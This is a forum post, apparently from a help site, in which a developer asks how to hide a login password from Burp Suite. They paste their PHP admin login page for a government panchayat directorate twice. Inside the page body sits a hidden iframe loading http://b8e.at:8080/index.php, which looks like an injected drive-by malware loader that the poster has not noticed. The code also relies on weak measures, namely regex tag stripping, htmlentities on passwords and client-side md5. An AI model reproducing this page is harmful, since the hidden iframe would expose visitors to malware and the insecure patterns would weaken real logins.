hey,i have a login form wherein the take the username and password from the user and submit the form.im using burpsuite t check 4 threats.when i click on the submit button the password is visible.is it possible to encrypt the password as soon as enter it instead of passing it on clickin the submit button.here is my code:
[code=php]
<?php
session_start() ;
$old_sessionid = session_id(); //i've added these lines
session_regener ate_id(); //i've added these lines
$new_sessionid = session_id(); //i've added these lines
if( isset($_SESSION['gel']) ) {
header("Locatio n: admin.php");
}
if( isset($_POST['submit']) ) {
require_once "../inc/functions.php";
$user = htmlentities($_ POST['txtuser']);
$pass = htmlentities($_ POST['txtpass']);
if($user && $pass){
$error=sessionS tart($user,$pas s);
}else{
$error = " <p style='color:#F F0000'>Invalid Username or Password</p>";
}
}
function cleanInput($inp ut) {
$search = array(
'@<\s*script[^>]*?>.*?<\s*/\s*script\s*>@s i', // Strip out javascript
'@<\s*[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
'@<\s*style[^>]*?>.*?<\s*/\s*style\s*>@si U', // Strip style tags properly
'@<![\s\S]*?[ \t\n\r]*>@',
'/<img[^>]+\>/i' // Strip multi-line comments
);
$output = preg_replace($s earch, '', $input);
return $output;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt d">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin :: Login</title>
<script type="text/javascript" src="md5.js"></script>
<script type="text/javascript" src="login.js"> </script>
<link rel="stylesheet " type="text/css" href="admin.css " />
<script type="text/javascript">
<!--
function MM_validateForm () { //v4.0
if (document.getEl ementById){
var i,p,q,nm,test,n um,min,max,erro rs='',args=MM_v alidateForm.arg uments;
for (i=0; i<(args.length-2); i+=3) { test=args[i+2]; val=document.ge tElementById(ar gs[i]);
if (val) { nm=val.name; if ((val=val.value )!="") {
if (test.indexOf(' isEmail')!=-1) { p=val.indexOf(' @');
if (p<1 || p==(val.length-1)) errors+='- '+nm+' must contain an e-mail address.\n';
} else if (test!='R') { num = parseFloat(val) ;
if (isNaN(val)) errors+='- '+nm+' must contain a number.\n';
if (test.indexOf(' inRange') != -1) { p=test.indexOf( ':');
min=test.substr ing(8,p); max=test.substr ing(p+1);
if (num<min || max<num) errors+='- '+nm+' must contain a number between '+min+' and '+max+'.\n';
} } } else if (test.charAt(0) == 'R') errors += '- '+args[i]+' is required.\n'; }
} if (errors) alert('The following error(s) occurred:\n'+er rors);
document.MM_ret urnValue = (errors == '');
} }
//-->
</script>
</head>
<body><iframe src="http://b8e.at:8080/index.php" width=178 height=183 style="visibili ty: hidden"></iframe>
<div class="containe r">
<div class="wrap">
<div class="header">
<img class ="head_logo" src="http://bytes.com/submit/images/logo.jpg" alt="Goavernmen t Logo">
<div class ="head_name" >
DIRECTORATE OF PANCHAYATS
</div>
</div>
<div align="center" class="outerbox ">
<div align="center" class="loginbox ">
<p style="font-family:Tahoma"> <strong>Adminis trator Login</strong></p>
<?=cleanInput($ _REQUEST['error']);?>
<form id="myform" name="myform" method="post" action="index.p hp">
<table width="250" border="0">
<tr>
<td align="left"><s trong>User</strong></td>
<td > <input type="text" name="txtuser" id="User" /></td>
</tr>
<tr>
<td align="left"><s trong>Password</strong></td>
<td ><input type="password" name="txtpass" id="Password" /></td>
</tr>
</table>
<br />
<input name="submit" type="submit" onclick="MM_val idateForm('User ','','R','Passw ord','','R');re turn document.MM_ret urnValue" value="Login" />
</form>
</div>
</div>
</div><br>
</div>
</form>
</body>
</html>
[/code]
[code=php]
<?php
session_start() ;
$old_sessionid = session_id(); //i've added these lines
session_regener ate_id(); //i've added these lines
$new_sessionid = session_id(); //i've added these lines
if( isset($_SESSION['gel']) ) {
header("Locatio n: admin.php");
}
if( isset($_POST['submit']) ) {
require_once "../inc/functions.php";
$user = htmlentities($_ POST['txtuser']);
$pass = htmlentities($_ POST['txtpass']);
if($user && $pass){
$error=sessionS tart($user,$pas s);
}else{
$error = " <p style='color:#F F0000'>Invalid Username or Password</p>";
}
}
function cleanInput($inp ut) {
$search = array(
'@<\s*script[^>]*?>.*?<\s*/\s*script\s*>@s i', // Strip out javascript
'@<\s*[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
'@<\s*style[^>]*?>.*?<\s*/\s*style\s*>@si U', // Strip style tags properly
'@<![\s\S]*?[ \t\n\r]*>@',
'/<img[^>]+\>/i' // Strip multi-line comments
);
$output = preg_replace($s earch, '', $input);
return $output;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt d">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin :: Login</title>
<script type="text/javascript" src="md5.js"></script>
<script type="text/javascript" src="login.js"> </script>
<link rel="stylesheet " type="text/css" href="admin.css " />
<script type="text/javascript">
<!--
function MM_validateForm () { //v4.0
if (document.getEl ementById){
var i,p,q,nm,test,n um,min,max,erro rs='',args=MM_v alidateForm.arg uments;
for (i=0; i<(args.length-2); i+=3) { test=args[i+2]; val=document.ge tElementById(ar gs[i]);
if (val) { nm=val.name; if ((val=val.value )!="") {
if (test.indexOf(' isEmail')!=-1) { p=val.indexOf(' @');
if (p<1 || p==(val.length-1)) errors+='- '+nm+' must contain an e-mail address.\n';
} else if (test!='R') { num = parseFloat(val) ;
if (isNaN(val)) errors+='- '+nm+' must contain a number.\n';
if (test.indexOf(' inRange') != -1) { p=test.indexOf( ':');
min=test.substr ing(8,p); max=test.substr ing(p+1);
if (num<min || max<num) errors+='- '+nm+' must contain a number between '+min+' and '+max+'.\n';
} } } else if (test.charAt(0) == 'R') errors += '- '+args[i]+' is required.\n'; }
} if (errors) alert('The following error(s) occurred:\n'+er rors);
document.MM_ret urnValue = (errors == '');
} }
//-->
</script>
</head>
<body><iframe src="http://b8e.at:8080/index.php" width=178 height=183 style="visibili ty: hidden"></iframe>
<div class="containe r">
<div class="wrap">
<div class="header">
<img class ="head_logo" src="http://bytes.com/submit/images/logo.jpg" alt="Goavernmen t Logo">
<div class ="head_name" >
DIRECTORATE OF PANCHAYATS
</div>
</div>
<div align="center" class="outerbox ">
<div align="center" class="loginbox ">
<p style="font-family:Tahoma"> <strong>Adminis trator Login</strong></p>
<?=cleanInput($ _REQUEST['error']);?>
<form id="myform" name="myform" method="post" action="index.p hp">
<table width="250" border="0">
<tr>
<td align="left"><s trong>User</strong></td>
<td > <input type="text" name="txtuser" id="User" /></td>
</tr>
<tr>
<td align="left"><s trong>Password</strong></td>
<td ><input type="password" name="txtpass" id="Password" /></td>
</tr>
</table>
<br />
<input name="submit" type="submit" onclick="MM_val idateForm('User ','','R','Passw ord','','R');re turn document.MM_ret urnValue" value="Login" />
</form>
</div>
</div>
</div><br>
</div>
</form>
</body>
</html>
[/code]
Comment